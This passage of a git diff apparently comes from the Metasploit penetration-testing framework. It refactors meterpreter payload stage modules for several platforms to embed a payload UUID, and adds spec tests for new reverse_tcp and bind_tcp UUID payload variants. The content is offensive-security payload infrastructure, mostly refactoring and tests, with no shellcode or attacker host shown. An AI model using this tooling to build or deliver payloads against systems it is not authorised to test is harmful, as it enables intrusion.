Msf::Payload::UUID.new({ - :platform => 'linux', - :arch => ARCH_X86 - }) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 6da688c80e..3e9bb5a785 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -144,8 +144,8 @@ module Metasploit3 ], self.class) end - def generate_stage - data = super + def generate_stage(opts={}) + data = super(opts) begin print_status("Reading executable file #{datastore['PEXEC']}...") diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 1f66f8a851..860625da8a 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -9,7 +9,8 @@ require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module Metasploit4 + include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -23,13 +24,18 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_Php_Php)) end - def generate_stage + def generate_stage(opts={}) file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.php") - met = File.open(file, "rb") {|f| + met = File.open(file, "rb") { |f| f.read(f.stat.size) } - #met.gsub!(/#.*?$/, '') + + uuid = opts[:uuid] || generate_payload_uuid + bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') + met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + + met.gsub!(/#.*?$/, '') #met = Rex::Text.compress(met) met end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index a4a642a663..597eb7233e 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -26,7 +26,7 @@ module Metasploit3 ], self.class) end - def generate_stage + def generate_stage(opts={}) file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") met = ::File.open(file, "rb") {|f| @@ -37,6 +37,10 @@ module Metasploit3 met = met.sub("DEBUGGING = False", "DEBUGGING = True") end + uuid = opts[:uuid] || generate_payload_uuid + bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') + met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") + met end end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 19a18983db..2363cb9a45 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -37,21 +37,16 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X86 - }) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config(opts)], - :extensions => [] + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)], + extensions: [] } # create the configuration instance based off the parameters diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index e2c0acf9b0..690d4aac11 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -37,21 +37,16 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'windows', - :arch => ARCH_X64 - }) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { - :arch => opts[:uuid].arch, - :exitfunk => datastore['EXITFUNC'], - :expiration => datastore['SessionExpirationTimeout'].to_i, - :uuid => opts[:uuid], - :transports => [transport_config(opts)], - :extensions => [] + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)], + extensions: [] } # create the configuration instance based off the parameters diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index ce84676c5e..998d3fccad 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1331,6 +1331,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' end + context 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' + end + context 'linux/x86/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1353,6 +1364,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/bind_tcp' end + context 'linux/x86/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_tcp_uuid' + end + context 'linux/x86/meterpreter/find_tag' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1397,6 +1419,17 @@ describe 'modules/payloads', :content do reference_name: 'linux/x86/meterpreter/reverse_tcp' end + context 'linux/x86/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp_uuid', + 'stages/linux/x86/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_tcp_uuid' + end + context 'linux/x86/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2011,6 +2044,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/bind_tcp' end + context 'php/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_uuid' + end + context 'php/meterpreter/bind_tcp_ipv6' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2022,6 +2066,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/bind_tcp_ipv6' end + context 'php/meterpreter/bind_tcp_ipv6_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_ipv6_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_ipv6_uuid' + end + context 'php/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2033,6 +2088,17 @@ describe 'modules/payloads', :content do reference_name: 'php/meterpreter/reverse_tcp' end + context 'php/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/php/reverse_tcp_uuid', + 'stages/php/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_tcp_uuid' + end + context 'php/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2084,6 +2150,17 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/bind_tcp' end + context 'python/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/bind_tcp_uuid', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/bind_tcp_uuid' + end + context 'python/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2117,6 +2194,17 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_tcp' end + context 'python/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/reverse_tcp_uuid', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_tcp_uuid' + end + context 'python/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2554,6 +2642,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/bind_ipv6_tcp' end + context 'windows/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_ipv6_tcp_uuid' + end + context 'windows/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2587,6 +2686,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/bind_tcp_rc4' end + context 'windows/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp_uuid' + end + context 'windows/meterpreter/find_tag' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2741,6 +2851,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/reverse_tcp_rc4_dns' end + context 'windows/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_uuid' + end + context 'windows/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3546,6 +3667,28 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/loadlibrary' end + context 'windows/x64/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_ipv6_tcp', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp' + end + + context 'windows/x64/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_ipv6_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp_uuid' + end + context 'windows/x64/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3557,6 +3700,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/bind_tcp' end + context 'windows/x64/meterpreter/bind_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_tcp_uuid' + end + context 'windows/x64/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3590,6 +3744,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/reverse_tcp' end + context 'windows/x64/meterpreter/reverse_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_tcp_uuid' + end + context 'windows/x64/meterpreter/reverse_winhttp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [